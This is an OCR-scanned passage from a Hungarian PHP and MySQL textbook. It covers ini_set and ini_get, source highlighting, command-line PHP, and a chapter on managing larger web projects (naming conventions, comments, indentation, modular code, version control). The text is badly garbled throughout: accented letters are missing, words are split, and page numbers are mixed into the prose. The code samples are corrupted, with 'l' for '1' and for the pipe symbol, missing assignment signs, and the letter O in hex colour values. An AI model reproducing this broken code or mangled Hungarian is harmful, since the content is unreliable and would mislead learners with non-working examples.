Az ini_set(l fggvny kt paramtert fogad. Az els a php.ini azon konfigurcis direktivjnak a neve,amit mdo stani kvnunk, msodik paramter pedig a hozzrendelni kvnt j rtk. A fggvny visszatrsi rtke a direktva elz a rtke. A pldban a kd maximlis futsi idejt az alaprtelmezett 30 msodperces (vagy a php. ini fjlban meghatrozott ms) rtkrl l 20 msodpercre lltjuk t. Az ini_get() fggvny egyszeren csak ellenrzi egy adott konfigurcis direktva rtkr. A fggvnynek karakterlnc knt kell tadni a direktva nevt. Itt most pusztn arra hasznljuk,hogy ellenrizzk, tnyleg megvltozott-e az adott rtk. Nem minden ini bellts mdosthat gy. Minden direktivhoz tartozik egy szint, amelyen az adott direktva bellthat. A lehetsges szintek a kvetkezk: PHP_INI_USER-Az ini_set(l fggvnnyel kdjainkban is bellthatjuk ezeket az rtkeket. PHP_INI_PERDIR-Apache hasznlata esetn a php.ini vagy a . htaccess vagy a httpd.conf fjlokban m dosthatjuk ezeket az rtkeket. Az,hogy a .htaccess fjlokban is mdosthatk,azt jelenti,hogy ezeket az rtkeket akr knyvtranknt is megvltoztathatjuk -innen a szint neve (per-directory). PHP_INI_ SYSTEM -A php.ini s a httpd. conf fjlokban llthatjuk be ezeket az rtkeket. PHP_INI_ALL -Az sszes elbb emltett mdon-vagyis kdban,. htaccess f:ijlban vagy a httpd.conf vagy

24

php. ini

fjlokban-mdosthatjuk az ilyen rtkeket.

Az ini belltsok teljes listjt, illetve mdosthatsgi szintjeiket a PHP kziknyv http://www.php.net/ini_set cmen elrhet oldaln talljuk.

Forrskd sznkiemelse
A PHP- sok ms integrlt fejlesztkrnyezethez (IDE) hasonlan-beptett szintaktikai sznkiemelvel rendelkezik. Ez elssorban akkor igazn hasznos,ha megosztjuk msokkal, vagy weboldalon tesszk kzz kdunkat. A show_source () s highlight_file (l fggvny egymssal teljesen megegyezik. (A show_source(l fggvny tulaj donkppen a highlight_file() aliasa.) Mindkt fggvny fjlnevet vr paramterknt. (Az llomnynak PHP fjlnak kell lennie, klnben nem fogunk rtelmes eredmnyhez jutni.) Nzzk meg a kvetkez pldt:
show_source('fuggvenyek_listaja.php'l;

A f:ijl ekkor gy jelenik meg a bngszben,hogy klnbz elemei,gy a sztringek,a megjegyzsek,a kulcsszavak s a HTML ms-ms sznnel vannak kiemelve. A kimenet valamilyen httrsznerr jelenik meg. A fenti kategrikba nem tartoz kdelemek az alaprtelmezett sznnel jelennek meg. A highlight_string() fggvny is hasonlan mkdik,m a fjlnv helyett karakterlncot vr paramterknt, s azt jelenti meg a bngszben szintaktikai sznkiemelssel. A kiemelshez hasznlt szneket a php. ini fjlban vlaszthatjuk ki. A mdosthat rsz ehhez hasonlan nz ki:
; Colors for Syntax Highlighting mode highlight.string = highlight.comment highlight.keyword
=

#DDOOOO #FF9900 #007700

Tovbbi hasznos lehetsgek PHP-ben

365

highlight.bg

*FFFFFF

highlight.default #OOOOBB highlight.html #000000

A sznek a hagyomnyos HTML RGB formtumban vannak megadva.

PHP hasznlata parancssorban


Hasznos rud lenni, ha kis programokat runk vagy tltnk le, majd parancssorbl futtatjuk ket. Unix rendszer alatt ezek a programok ltalban shell programozsi nyelven vagy Perlben rdnak. Windows alatt ltalban ktegelt (batch) fjlknt rjuk ezeket. A legtbben webes projektek kapcsn tallkoznak a PHP-vel, de a szvegfeldolgoz funkcii, amelyek miatt oly hatkony webfejleszt nyelvnek tartjk a PHP-t, egyben kivl parancssori segdalkalmazss is teszik. Hromflekppen lehet PHP kdot a parancssorbl futtatni: fjlbl, pipe-on keresztl vagy kzveclenl a parancssorbL Fjlban lv PHP kd futtatshoz elszr is gyzdjnk meg arrl, hogy a futtathat PHP fjl (ami opercis rendszernktl fggen php vagy php.e xe) az elrsi tvonalunkban van, majd paramterknt a kd nevt tadva hvjuk meg! Pldul:
php myscript.php

A myscript.php egy teljesen ltalnos PHP fjl, amely PHP cmkken (tag) bell tartalmaz minden szoksos PHP szintaktikt. Brmilyen program kapcsoldhat a PHP-hoz pipe-on keresztl, ha annak kimenere rvnyes, a PHP rtelmez ltal vgre hajthat kdot eredmnyez. A kvetkez plda az echo programot hasznlva ad egysoros programot: echo '<?php for($il; $i<l0; $i++) echo $i; ?>' l php A PHP kdot itt is PHP cmkk (<?php s?>) fogjk kzre. Fontos megjegyezni, hogy ez itt az echo parancssori prog ram, nem pedig PHP utasts. Egy ilyen jelleg, egysoros prograrnot egyszerbb lenne kzvetlenl parancssorbl futtatni, mint az albbi pldban:
php -r 'for($il; $i<l0; $i++) echo $i;'

Itt kicsit msrl van sz. A karakterlncban radott PHP kd nincsen PHP cmkk ltal kzrefogva. PHP cmkk haszn lata esetn szintaktikai hibt kapnnk. A parancssori hasznlatra rhat hasznos PHP programok kre szinte korltlan. rhatunk PHP alkalmazsainkhoz tele ptket. sszethetnk gyors kdot a szveges fjlok adatbzisba importls eltti tformzsra. Akr olyan kdot is lt rehozhatunk, amely a parancssorban rnk vr, ismtld feladatokat vgzi el helyettnk. J plda erre egy olyan kd, amely a fejlesztshez hasznlt kiszolglnkrl az lesben mkd szerverre msolja t az sszes PHP fjlt, kpet s MySQL tbla szerkezetet.

--

Hogyan tovbb?
A Gyakorlati PHP s MySQL projektek fejlesztse cm V. rszben viszonylag sszetett, a vals vilgban is hasznos projekteket ptnk PHP s MySQL segtsgve!. Pldkat ltunk olyan feladatokra, amelyekkel vals fejlesztseink sorn tallkozhatunk, illetve zelitt kapunk abbl, hogy sszetett projektek esetn hogyan dolgozzunk a PHP-vel s a MySQL-lel. A PHP s a MySQL hasznlata nagyobb projektekben cm 25. fejezet olyan krdskrkkel foglalkozik, amelyek akkor me rlnek fel, amikor nagyobb projektekhez runk PHP kdot. Megismerkednk az olyan szoftverfejlesztsi fogalmakkal, minr a tervezs, a dokumentci s a vltozskezels.

24

v
Gyakorlati PHP s MySQL projektek fejlesztse

25

A PHP s a MySQL hasznlata nagyobb projektekben

26

Hibakeress

27

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

28

Kosr funkci programozsa

29

Webalap levelezszolgltats ltrehozsa

30

Levelezlistakezel alkalmazs fejlesztse

31

Webes frum fejlesztse

32

Perszonalizlt PDF dokumentumok ellltsa

33

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

34

Web 2.0s alkalmazsok fejlesztse Ajaxprogramozssal

25
A PHP s a MySQL hasznlata

nagyobb projektekben
A knyv korbbi fejezereiben a PHP s a MySQL szmos alkotelemt, illetve azok hasznlatt mutattuk be. Ugyan prbl tunk ehhez izgalmas s relevns pldkat keresni, ezek jellemzen egyszer, legfeljebb egy vagy kt szkriptbl s legfeljebb szz sorbl ll kdok voltak. Amikor valdi webes alkalmazst ksztnk, a kdirs ritkn ennyire egyszer. Nhny vvel ezeltt egy "interaktv" webol dal legfeljebb egy zenerkld rlapbl llt. Napjainkra azonban a honlapok webes alkalmazss - vagyis az interneten keresz
tl hasznlt szoftverr - nttk ki magukat. A funkcibeli vltozs mretbeli vltozst eredmnyezett. A weboldalak az gyes

kis kdokbl tbb ezer soros programokk nttek. Az ilyen mret projektek a brmely ms szaftverfejlesztshez is szksges tervezst s irnytst ignylik. Mieltt a knyv elttnk ll rszben szerepl projektekkel foglalkoznnk, vizsgljunk meg nhny olyan mdszert, ami a nagymret webes projektek menedzselsre is alkalmas! Mivel folyamatosan fejld terletrl beszlnk, nyilvnva lan nehz dolog rla rk igazsgokar rni. Ha aktulis informcira van szksgnk a tmban, rdemes krlnznnk a webfejleszts piacn is. A fejezetben az albbi fbb tmakrkkel foglalkozunk: A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre Webes alkalmazs projekljnek tervezse s megvalstsa Kd tbbszri felhasznlsa Kezelhet kd rsa Verzikvets megvalstsa A fejlesztkrnyezet kivlasztsa A projekt dokumentlsa Prototpuskszts A mkds, a tartalom s a megjelents sztvlasztsa: PHP, HTML s CSS Kdoptimalizls

A szoftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre


A szaftverfejlesztshez szisztemarikus s mennyisgileg kifejez (szmszerst) megkzeltsre van szksg. Fogalmazhat nnk gy is, hogy a szaftverfejleszts mrnki elvek betartst ignyli. A szaftverfejleszts gyakorlatai ugyanakkor szemmel lthatan hinyoznak a webes projektek nagy rszbl - s ennek kt oka van. Az els, hogy a webes fejlesztst gyakran az rsos anyagok elksztshez hasonlan kezelik. Olyan feladatknt, amelynek egyik rsze a dokumentum struktrjnak kialakitsa, msik rsze a grafikus dizjn megtervezse, a harmadik pedig maga a dokumentum elksztse. Ez a dokumentumkzpon ru megkzelts kivlan alkalmas lehet kis- s kzepes mret, statikus oldalak esetben. De ha egy weboldal dinamikus tartalmnak arnya eljut arra a szintre, hogy az oldal sokkal inkbb szolgltatsokat, rnintsem puszta dokumentcit knl a ltogatknak, akkor ez a megkzelts mr nem helynval. Sokan egyszeren nem is gondolnak arra, hogy a webes projektekhez a szaftverfejleszts gyakorlatait alkalmazzk. Ezek mellzse msrszt azrt fordul el, mert a webes alkalmazsok fejlesztse tbb szempontbl eltr a hagyo mnyos alkalmazsok fejlesztstL A webes fejlesztk sokkal rvidebb hatridkkel dolgoznak, lland nyoms alatt llnak, hogy az oldalt most azonnal el kell kszteni. A szaftverfejleszts arrl szl, hogy a feladatokat sorban, tervezett mdon hajtjk vgre, kell idt hagyva a tervezsre. Webes projektek esetn gyakran alakul ki az az rzs, hogy egysze ren nincsen id tervezni.

370

25. fezer

Ha elmulasztjuk megtervezni webes projektjeinker, ugyanazokba a problmkba futunk bele, minrha szaftveres projektnl kvetnnk el ezt a hibt. Az eredmny rosszu vagy hibsan mkd alkalmazs, be nem tartott hatridk s rtekinrheteden kd lesz. A trkk teht az, hogy beazonostjuk a szaftverfejleszts azon elemeir, amelyek a webes alkalmazsok fejlesztsnek j vil gban is mkdnek, a tbbit pedig egyszeren hagyjuk figyelmen kvl!

Webes alkalmazs projektjnek tervezse s megvalstsa


Sajnos nem lrezik a webes projektekhez legjobb mdszer vagy projekrlerciklus. Szmos olyan dolog van ugyanakkor, amivel rdemes lehet foglalkozni. Ezeker itt most felsoroljuk, majd nmelyiker bvebben is megtrgyaljuk a kvetkez rszekben. Nem fonros, hogy az itt szerepl sorrendben foglalkozzunk velk, ha projektnk gy kvnja, nyugodran trjnk el ettl! A hangsly azon van, hogy legynk risztban ezekkel a krdsekkel, s talljuk meg a projektnk esetben mkd mdszereket. Kezds eltt gondoljuk vgig, hogy mit prblunk meg ltrehozni! Gondoljuk vgig a cljainkat! Ki fogja hasznlni webes alkalmazsunkat - vagyis ki lesz a clkznsg Szmos mszakilag rkletes webes projekt bukott meg azrt, merr senki nem verte a fradsgot, hogy urnanzzen, a felhasznlkar vajon rdekli-e egy ilyen alkalmazs. Prbljuk meg alkalmazsunkat alkotelemekre bontani! Milyen rszekbl vagy rszfolyamatokbl ll az alkalmazs Hogyan fognak ezek az alkotelemek mkdni Hogyan illeszkednek egymshoz Ksztsnk forgarknyveker, storyboardokar, vagy tekintsnk t esettanulmnyokarl Ha megvagyunk az alkotelemek lisrjval, nzzk meg, melyik ltezik mr kzlk! Ha egy korbban megirt modul a kvnt funkcikkal rendelkezik, gondolkodjunk el hasznlarnl Ne csak szervezetnkn bell, hanem azon kvl is keressnk meglv kdok urn! Klnsen a nylt forrskd kzssgben igaz, hogy szmos, mr meglv alkotelem ingyenesen elrhet. llaprsuk meg, hogy milyen kdokar kell a nullrl kiindulva megrni, s ez durvn mekkora mun kr fog jelemenil Hozzuk meg a fejlesztsi folyamarral kapcsolaros, annak egszt befolysol, alapvet dntseket! Ez az a lps, amit a webes projektekben tl gyakran elmulasztanak megtenni. Az ilyen krdsek kz tartoznak pldul a kdolsi szabv nyok, a knyvrrstrukrrk, a verzikvers kezelse, a fejlesztsi krnyezet, a dokumentcis szinr s szabvnyok, illetve a csapattagok kzrri feladarkioszts. Ksztsnk a fenti informcik birtokban prototpusri Murassuk meg a felhasznlknak! Ne feledjk, hogy fonros s egyben hasznos dolog elklniteni alkalmazsunk mkdsi logikjt s tartalmr! Rvide sen rszleresebben is kifejtjk ennek fontossgt. Hajtsuk vgre a szksgesnek gondolt optimalizlsi lpseker! Menerkzben ppolyan gondossggal reszteljnk, ahogy brmilyen ms szaftverfejlesztsi projekt esetn tennnk!

Kd tbbszri felhasznlsa
A programozk igen gyakran eikvetik azt a hibt, hogy mr meglv kdot jra megirnak. Miurn risztban vagyunk vele, hogy az alkalmazshoz milyen alkotelemekre vagy fggvnyekre van szksgnk, ellenrizzk a fejleszts megkezdse eltt, hogy azok rendelkezsre llnak-e!

25

A PHP minr programnyelv egyik erssge a bepterr fggvnyknyvrra. Mindig nzzk meg, hogy egy meglv fggvny nem pont azt teszi-e, amire neknk szksgnk van! ltalban nem tl nehz dolog megtallni a kvnt fggvnyt. Clszer lehet ennek rdekben fggvnycsoportonknt bngszni az online kziknyvet. Elfordul, hogy a programozk vletlenl jra megirnak fggvnyeket, merr nem nztek urna a kziknyvben, hogy lre zik-e az ltaluk ignyelt funkcit berlt fggvny. Tegyk a kziknyv weboldalr kedvenceink kz! Ne felejtsk el azt sem, hogy az online kziknyver elg gyakran friss tik! A jegyzetekkel elltott online kziknyv bsges informciforrs, merr ms felhasznlk megjegyzseit, javaslatait s minrakdjait tartalmazva gyakran pontosan azokat a krdseket vlaszolja meg, amelyek a sima kziknyv olvassa kzben felmerlnek bennnk. Gyakran mr az eltt tartalmaz hibajelentseket s azokar orvosl megoldsokat, mielrr a hibt kijavtank vagy egyltaln dokumentlnk. A kziknyv angol nyelv vltozata a http:/ l www.php.net/manual/ en/ cmen rhet el. A ms programnyelvekbl rkez fejlesztk nha kisrtsbe esnek, hogy olyan"csomagol fggvnyeket" (wrapper function) rjanak, amelyek tulajdonkppen rnevezik a PHP fggvnyeit az ltaluk ismerr programnyelvben hasznlt fggvnyekre. Az ilyen programozsi mdszert angolulsyntactic sugar-nek, vagyis szinraktikai cukornak szoks nevezni. (A kifejezs tnyleges jelentse krlbell" programnyelvi knyeztets" lehet.) Nem rdemes ilyet tenni; msok szmra nehezebben olvashatv s kezelhetv teszi kdunkat. Ha j programozsi nyelvet kvnunk elsajttani, tanuljuk meg azt helyesen hasznlni! Radsul ilyen szint fggvnyhvsokkal lelassthatjuk kdunkar. Mindent egybevve kerljk az ilyen programozsi megkzeltst!

A PHP s a MySQL hasznlata nagyobb projektekben

371

Ha azt lg uk, hogy az ltalunk ignyelt funkci nem rhet el a f PHP knyvtrban, kt lehetsg kzl vlasztharunk. Ha viszonylag egyszer dologra van szksgnk, rdemes lehet megrni sajt fuggvnynket vagy objektumunkat. Ha azonban igencsak sszetetten mkdik az a valami, amire szksgnk van - legyen az pldul vsrli kosr, webes levelezrendszer vagy frum-, knnyen lehet, hogy tallunk valakit, aki egyszer mr ltrehozta azt. A nylt forrskd kzssgben vgzett munka egyik nagy erssge, hogy az ehhez hasonl komponensek gyakran szabadon (s ingyenesen) elrhetk. Ha tallunk az ltalunk ignyelthez hasonl komponenst, segtsgkppen mg akkor is megnzhetjk a forrskdjt, ha a komponens nem teljesen ugyanaz, mint ami neknk kell. Az gy tallt forrskdot kiindulpontknt felhasznlva s mdostva knnyebben hoz hatjuk ltre a sajt ignyeinkre alakitott kdunkat. Ha a vgn az derl ki, hogy sajt fuggvnyeket vagy komponenseket kell rnunk, mrlegeljk annak eshetsgt, hogy mun knk vgeztvel megosztjuk ket a PHP kzssgvel! Ugyanis ez az a hozzlls, aminek ksznheten ilyen segtksz, aktv s felkszlt kzssget alkothatnak a PHP-fejlesztk.

Kezelhet kd rsa
Webes alkalmazsok esetn gyakran megfeledkeznek a kezelhetsg krdsrl, elssorban azrt, mert a programozk gyakran sietve hozzk ltre az ilyen alkalmazsokat. Egybl hozzfogni a kdrshoz s gyorsan befejezni- bizony sokszor ez fontosab bak tnik, mint elszr megtervezni azt. Pedig az elkszletekre sznt kevske id a ksbbiekben, amikor majd az alkalma zs kvetkez vltozatt kszlnk fejleszteni, rengeteg felesleges munkartl kmlhet meg bennnket.

Programozsi szablyok
Az informacikval foglalkoz komolyabb szervezetek tbbsge sajt programozsi szablyokkal rendelkezik- vagyis olyan irnyelvekkel, amelyek a fjlok s vltozk elnevezsr, a kd megjegyzsekkel elltst, tagolst stb. szablyozzk. A webes fejlesztsre oly gyakran alkalmazott dokumenturnkzponr megkzelts miatt elfordul ezen szablyok figyelmen kvl hagysa. Ha egyedl vagy nhny fbl ll kis csapatban programozunk, knnyen albecslhetjk a kdrsi szablyok fontossgt. Ez azrt nem helyes, mert csaparunk s a projekt is knnyedn kinheti magt. Ekkor nem csak mi magunk zava rodharunk ssze, hanem ott lesz mg egy csom msik programoz, aki sikertelenl fogja bogarszni meglv kdjainkat.

Elnevezsi szoksok meghatrozsa


Elnevezsi szoksok meghatrozsval az albbi clokat kvnjuk elrni: A kd knnyen olvashatv ttele. Ha rtelmes (vagyis a tartalmukra utal) mdon nevezzk el vltozinkat s fuggv nyeinket, szinte gy olvashatjuk a kdot, mintha egy reljesen ltalnos szveget, de legalbbis pszeudokdot olvasnnk. Egyszerbben megjegyezhet azonostnevek hasznlata. Ha azonostinkat kvetkezetesen nevezzk el, knnyebben esznkbe jut majd, hogy korbban hogyan hvrunk egy adott vltozt vagy fuggvnyt. A vltozneveknek utalniuk kell az lcaluk tartalmazott adatokra. Ha egy vltozban valakinek a vezetknevt troljuk, ad juk annak a $ve zeteknev nevet! Trekecljnk ugyanakkor az olvashacsg s a vltoznevek hossza kztti egyenslyra! Egy $n nev vltozban pldul knyelmes dolog eitroini a nevet, de ezzel nem knnytettk meg kdunk olvashatsgt. Sokkal informatvabb ugyan, ha a nevet az $aktualis_ felhasznala _neve vltozban troljuk, ebben az esetben viszont sokig tart begpelni a vltoz nevt (gy nvekszik a gpelsi hiba valsznsge), ennyit pedig mr nem r meg az egsz. A kis- s nagybetk hasznlatval kapcsolatban is dntst kell hozni. A PHP - ahogy azt mr emltettk- a vltoznevek esetben klnbsget tesz a kis- s nagybetk kztt. El kell dnteni, hogy a vltozkat vgg kisbetvel, vgg nagybetvel vagy kis- s nagybetket vegyesen hasznlva (pldul nagy kezdbetvel) rjuk. Ami bennnket, a knyv szerzit illeti, mi csak kisbetket hasznlunk a vltoznevekben, mert ezt talltuk a legknnyebben megjegyezhetnek rdemes lehet a vltozkat s az llandkat (konstansokat) eltr bethasznlattal megklnbztetni egymstl. Bevlc szoks a vltozkat vgg kisbetvel (pldul $eredmeny) , az llandkat pedig csupa nagybetvel rni (pldul PI). Egyes programozknl megfigyelhet az a nyilvnvalan rossz programozsi gyakorlat, hogy kt vltoznak ugyanazt a ne vet acljk, csak a kis- s nagybetk eltr hasznlatval klnbztetve meg ket (pldul $nev s $Nev ) . Remljk, magyarz ni is felesleges, hogy mirt kell vakodnunk ettl a mdszertl. A legjobb, ha elkerljk az olyan- egybknt szrakoztat- nagybets rsmdot, mint pldul a $WaReZ, mert egy id utn biztosan belekavarodunk a sajt szablyrendszernkbe. Azt is vgg kell gondolni, milyen szablyt hasznlunk a tbb szbl ll vltoznevek esetn. A felhasznli nevet tartalma z vltozk esetn pldul mindhrom most kvetkez vltoznv elkpzelhet:

25

372

25. fejezet

Sfelhasznaloinev Sfelhasznaloi nev SfelhasznaloiNev

Vgeredmnyben teljesen mindegy,hogy melyik szisztmt vlasztjuk,de trekednnk kell annak kvetkezetes hasznlat ra. rdemes tovbb a vltoznevekben hasznlt szavak szmt kettre, legfeljebb hromra korltozni. A fggvnynevek kivlasztsakor is nagyrszt a fentiekre, illetve nhny tovbbi dologra kell figyelemmel lennnk. A fgg vnyneveknek ltalban utalniuk kell a fggvny funkcijra. Gondoljunk az olyan beptett PHP fggvnyekre, mint az addslashes (} vagy a mysqli_connect (}, amelyeknek a neve utal arra, hogy mit fognak a nekik radott paramterekkel tenni! Az ilyen elnevezsi rendszer jelentsen segti kdunk olvashatsgt. Lthatjuk, hogy a pldaknt emltett kt fggvny a tbb szbl ll fggvnyneveket illeten eltr elnevezsi szablyokat kvet. A PHP fggvnyei e tekintetben nem kvetke zetesek, rszben azrt, mert sok klnbz ember rta ket,de legfkppen azrt,mert sok fggvnynevet vltozatlanul vettek t ms programozsi nyelvekbl s alkalmazs-programozsi interfszekbl (API). Ne feledkezznk meg arrl sem, hogy fggvnynevek esetn a PHP nem tesz klnbsget a kis- s nagybetk kztt! Az sszezavaradst elkerlend mindenesette rdemes az ltalunk kivlasztott formt kvetni. rdemes lehet tvenni a szmos PHP modulban hasznlt medul-elnevezsi smt - vagyis azt, hogy a fggvnynevek el eltagknt a modul nevt rjuk. Pldul a tovbbfejlesztett (improved) MySQL fggvnyek mindegyike a mysqli_ eltaggaL minden IMAP fggvny pedig az imap_ eltaggal kezddik. Ha van a kdunkban pldul egy kosrmodul, az ebben a medul ban lv fggvnyekhez adjuk a kosar_ (vagy,ha angol krnyezetben fejlesztnk, a eart_) eltagod Jegyezzk meg, hogy amikor a PHP5 procedurlis s objektumorientlt interfszt is biztost,a fggvnynevek elerk
studlyCaps stlusak lesznek (sa j atFuggveny (}).

lesznek! A procedurlisok alulvonsokat hasznlnak (sajat_fuggveny (}),az objektumorientltak pedig gynevezett Vgeredmnyben majdnem teljesen mindegy,hogy milyen szoksokat s szablyokat kvetnk a programozs sorn, a l nyeg,hogy kvetkezetesen alkalmazzuk azokat.

Megjegyzsek hasznlata kdjainkban


Valamilyen sszer mrtkben minden programot megjegyzsekkel kell elltni. Jogos a krds,hogy mi tekinthet sszer mrrknek. ltalban a kvetkez elemek elfordulsa esetn kell mdegeini a megjegyzs szksgessgt: Fjlok (teljes kdok vagy beillesztett fjlok)- Minden f:ijlhoz tartozzon megjegyzs, amely kzli, hogy mi az adott f:ijl, mire szolgl, ki rta, s mikor mdostottk! Fggvnyek- A fggvnyekhez adott megjegyzseknek tartalmazniuk kell, hogy mit csinl az adott fggvny,milyen paramtert vr, s mivel tr vissza. Osztlyok- A megjegyzseknek az osztly cljt kell tartalmazniuk. Az osztlymetdusokhoz ugyanolyan rpus s szint megjegyzseket kell adnunk, mint brmilyen ms fggvnyhez. Szkripten vagy fiiggvnyen belli kdrszletek- Gyakran hasznosnak bizonyul,ha egy kd megrst pszeudokdhoz hasonl srlus megjegyzsekkel kezeljk, majd az egyes rszekhez tartoz kd megrsval folytatjuk. Eszerint a kd els formjban valahogy gy nzhet ki:

25

ll beviteli adatok ellenrzse ll elkldsk az adatbzisba ll eredmny megjelentse ?>

Ennek a mdszernek az a hatalmas elnye,hogy az adott rszek fggvnyekkel vagy brmilyen ms utastsokkal val feltltse utn mr megfelel megjegyzsekkel elltott kdot kapunk.

sszetett kd vagy trkk- Amikor egy konkrt feladatot akr egy teljes napig programozunk, vagy nagyon nyakate kerr mdon tudunk csak megoldani, megjegyzsben rjuk oda,mirr az adott megkzeltst vlasztottuk! gy amikor legkzelebb megnzzk ezt a kdot, nem fogjuk rtetlenl vakargatni a fejnket, s nem kell magunktl azt krdezni: ..Vajon mi az rdgt akar ez jelenteni?" s mg egy megfontolsra rdemes j tancs: megjegyzseinket menet kzben rjuk oda! Gondolhatnnk, hogy majd a pro jekt befejezsekor visszatrnk, s hozzadjuk a megjegyzseket. Fogadni mernnk, hogy ez nem gy lesz,kivve, ha soha nem kzdnk idhinnyal, s a knyv szerzinl nagyobb nfegyelemmel rendelkeznk.

A PHP s a MySQL hasznlata nagyobb projektekben

373

Tagols
Mint brmely programozsi nyelv esetn, itt is rdemes kdunkat rtelmes s kvetkezetes mdon tagolni. A kd rsa letrajz vagy zleti levl sszelltshoz hasonl. A tagols knnyebben olvashatv s gyorsabban rtelmezhetv teszi kdunkat. lcalnos szablyknt elmondhat, hogy a vezrlsi szerkezeteken belli brmely programblokkor behzssal kell elk lnteni az azt krlvev kdtL A behzsnak szrevehetnek (vagyis egy szkznl nagyobbnak) kell lennie, ugyanakkor tlzsba sem szabad vinni a mrtkt. Vlemnynk szerm a tabultotok hasznlatt rdemes elkerlni. Br egy mozdulattal, azaz egyeden billenty letsvel elllrhack, a legebb monitoron tl sok helyet foglalnak el. Projektjeinkben jellemzen kr hrom szkznyi behzssal tagoljuk a kdot. A kapcsos zrjelek hasznlata is krdses lehet. A kt leggyakoribb sma a kvetkez: l. sma:
if (felttel)

ll valamilyen mvelet l 2. sma:


if (felttel l

{ ll valamilyen ms mvelet

Tlnk fgg, hogy melyiket vlasztjuk. Itt is fontos azonban, hogy az sszezavarodst elkerlend a teljes projektben kvet kezetesen hasznljuk.

Kdunk darabokra bontsa


Szrny dolog tud lenni egy hatalmas, egyeden tmbbl ll kd. Vannak, akik egyeden nagy programot rnak, amely egy gigantikus switch utastsban vgez el mindent. Sokkal jobb ennl kdunkat fggvnyekre s/ vagy osztlyokra bontani, s az egymshoz kapcsold elemeket beillesztend fjlokba pakol ni. Az adarbzissal kapcsolaros sszes fggvnynket berakhatjuk pldul az adatbaz is _fuggvenyek. php nev fjlba. A kvetkez indokai leheenek kdunk ttekinthet darabokra bontsnak: Knnyebben olvashatv s rtelmezhecv teszi kdunkat. Biztostja kdunk tbbszri felhasznlhatsgt, s minimalizlja a redundancit. Az elbb emlitett adatbaz is_ fuggvenyek. ph p f;ijlt pldul minden olyan kdban fel tudjuk hasznlni, amelyben adatbzisunkhoz kell csatlakozni. Ha mdostani kell ennek mkdsr, elg lesz egyeden helyen vgrehajtani a vltoztatst. Lehetv teszi a csapatmunkt. Ha kdunkat alkotelemekre bontjuk, minden egyes komponenshez klnbz felel sket jellhetnk ki a csapatbl. Ez egyttal azt is jelenti, hogy elkerlhetk az olyan helyzetek, amikor az egyik progra moznak arra kell vrnia, hogy a msik befejezze munkjt a GigantikusKod. php f;ijlban, mert csak ekkor tud sajt feladatval tovbbhaladni. A projekt kezderekor sznjunk egy kis idt annak vgiggondolsra, hogyan lehet majd a projektet a tervezett alkotele mekre felbontani! Ehhez meg kell hatroznunk az egyes funkcik kztti kapcsolatokat, de nem rdemes tlzottan elmerlni ebben, mert a projekt kzben mg annyi minden vltozhat. Azt viszont el kell dnteni, hogy melyik komponenseket szksges elszr megalkotni, mely alkotelemek plnek msikakra, s milyen hatridkre kell velk elkszlni. Mg abban az esetben is rdemes minden egyes komponens felelsnek egy konkrt szemlye kij ellni, ha mindenki minden egyes alkocdemen dolgozni fog. Ugyanis ez a szemly lesz felels azrt, ha valami nem megfelelen alakul a neki kiosztott komponenssel. Valakinek az gynevezett build manager pozcijt is be kell tltenie. Ez az a szemly, aki ellenrzi, hogy az egyes alkotelemek fejlesztse j ton halad, s a komponensek mkdni fognak egymssal. Jellemzen ez a csapattag felels a verzikvetsn is; ezt a feladatot a fejezet egy ksbbi rszben bvebben ttekintjk majd. Lehet ez a projekrvezec, de akr msnak is kioszchac ez a feladat.

25

Egysges knyvtrstruktra hasznlata


A projekt elejn azt is vgig kell gondolnunk, hogy hogyan fogja tkrzni a weboldal knyvrrstruktrja progranmnk alkot elemeinek szerkezett. ppolyan badarsg mindent egyeden knyvtrba pakolni, mint egyetlen, a celjes mkdst tartalmaz kdot rni. Dntsk el, hogyan fogjuk a knyvtrstruktrt felbontani a komponenseket, a program logikjt, a tartalmat s a megosztott kdokat tartalmaz knyvtrakra! Dokumentljuk a vlasztott struktrt, s gondoskodjunk rla, hogy a projek ten dolgoz sszes kollgnk kapjon errl msolatot, hogy tudjk, mit hol keressenek!

374

25. fejezet

Fggvnyek dokumentlsa s megosztsa fejleszti csapaton bell


Ha fggvnyknyvtrakat hozunk ltre, csaparunk tbbi programozja szmra is elrherv kell tenni azokat. Gyakran el fordul, hogy egy csapat minden programozja megrja sajt adatbzis-, dtum- s hibakezel fggvnyeit. Az ilyen fellls teljes mrtkben idpocskols. A fggvnyeket s az; osztlyokat a tbbiek szmra is elrhetv kell tenni. Nem elg, ha a kdot a csapattagok ltal hozzfrhet terleten vagy knyvtrban rroljuk, mert csak akkor fognak tudni a kdunkrL ha tjkoz;caguk ket. Fejlessznk ki valamilyen rendszert a sajt (csapaton belli) fggvnyknyvtrak dokumen tlsra, s tegyk azt kzkinccs csapatunk programozi krben!

Verzikvets megvalstsa
A verzikvels (version control) a sz;oftverfejlesz;tsben alkalmazott egyidej vltozsok kezelsnek mvsz;ete. A verzikve t rendszerek ltalnossgban kzponti trolknt (repository) mkdnek, s kontrolllt felletet nyjtanak kdunk elrsre s megosztsra (s jobb esetben a dokumentlsra). Kpzeljnk el egy olyan helyzetet, amikor javtani szecetnnk kdunkon, de vletlenl elronrunk valamit, s akrhogyan prbljuk, nem tudjuk visszallitani az; eredeti vltozatot! Vagy akr mi magunk, akr az; gyfl gy dnt, hogy az; oldal egy korbbi verzija jobb volt. Esetleg jogi okokbl vissza kell llnunk egy korbbi verz;ira. Kpzeljnk el msik helyzetet, azt, amikor a programoz csapat kt tagja ugyanazon a fjlon szereme dolgozni! Elfordul hat, hogy mindketten megnyitjk s egyszerre sz;erkesz;tik a fjlt, fellrva egyms vltoztatsait. Mindkettjk lemsolhaga a fjlt, s a helyi verz;in dolgozva egymsrl eltr vltoztatsokat hozhatnak ltre rajta. Ha valaha is belegondolrunk mr abba, hogy milyen nem kvnt dolgok szrmazhatnak ebbl, akkor az; elbb emltett kt programoz kzl az; egyik minden bizonnyal ttlenl l s vrja, hogy a msik befejezze a fjl sz;erkesz;tst. Az; ilyen problmkat verzikvet rendszerrel orvosolhaguk. Ezek a rendszerek nyomon tudnak kvetni a kz;s trolban lv llomnyokon vgrehajtott minden vltoztatst, gy nem csak azok aktulis llapott lthaguk, hanem azt is, hogy hogyan nztek ki egy mltbeli idpontban. Ez a funkci lehetv teszi, hogy az; elrontott kdot visszallitsuk a tudottan mkd ver zijra. Adott fjlpldnyokat elltharunk mkd verzi (release version) 